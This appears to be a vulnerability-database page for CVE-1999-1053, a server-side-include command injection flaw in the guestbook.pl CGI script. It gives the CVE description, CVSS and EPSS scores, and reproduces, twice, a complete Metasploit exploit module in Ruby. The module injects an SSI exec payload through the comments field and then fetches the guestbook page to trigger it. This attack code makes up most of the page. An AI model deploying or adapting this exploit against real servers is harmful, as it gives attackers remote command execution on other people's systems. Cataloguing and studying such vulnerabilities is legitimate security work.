CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
guestbook.pl cleanses user-inserted SSI commands by removing text between "" separators, which allows remote attackers to execute arbitrary commands when guestbook.pl is run on Apache 1.3.9 and possibly other versions, since Apache allows other closing sequences besides "-->".
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
71.79%
–
–
2022-11-27
–
–
73.54%
–
–
2023-03-12
–
–
–
93.93%
–
2023-08-13
–
–
–
93.65%
–
2024-02-18
–
–
–
94.36%
–
2024-06-02
–
–
–
94.36%
–
2024-12-22
–
–
–
96.01%
–
2025-01-19
–
–
–
96.01%
–
2025-03-18
–
–
–
–
90.73%
2025-04-06
–
–
–
–
89.83%
2025-04-15
–
–
–
–
90.33%
2025-04-15
–
–
–
–
90.33,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: guestbook_ssi_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
'Description' => %q{
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
a flaw that may allow arbitrary command execution. The vulnerability
requires that HTML posting is enabled in the guestbook.pl script, and
that the web server must have the Server-Side Include (SSI) script
handler enabled for the '.html' file type. By combining the script
weakness with non-default server configuration, it is possible to exploit
this vulnerability successfully.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9671 $',
'References' =>
[
[ 'CVE', '1999-1053' ],
[ 'OSVDB', '84' ],
[ 'BID', '776' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => [ 'unix', 'win', 'linux' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 05 1999',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
], self.class)
end
def exploit
realname = rand_text_alphanumeric(20)
email = rand_text_alphanumeric(20)
city = rand_text_alphanumeric(20)
state = rand_text_alphanumeric(20)
country = rand_text_alphanumeric(20)
sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')
req1 = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
}, 25)
req2 = send_request_raw({
'uri' => datastore['URIOUT'],
}, 25)
end
end
Publication date : 1999-11-04 23h00 +00:00 Author : patrick EDB Verified : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
'Description' => %q{
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
a flaw that may allow arbitrary command execution. The vulnerability
requires that HTML posting is enabled in the guestbook.pl script, and
that the web server must have the Server-Side Include (SSI) script
handler enabled for the '.html' file type. By combining the script
weakness with non-default server configuration, it is possible to exploit
this vulnerability successfully.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '1999-1053' ],
[ 'OSVDB', '84' ],
[ 'BID', '776' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => [ 'unix', 'win', 'linux' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 05 1999',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
], self.class)
end
def exploit
realname = rand_text_alphanumeric(20)
email = rand_text_alphanumeric(20)
city = rand_text_alphanumeric(20)
state = rand_text_alphanumeric(20)
country = rand_text_alphanumeric(20)
sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')
req1 = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
}, 25)
req2 = send_request_raw({
'uri' => datastore['URIOUT'],
}, 25)
end
end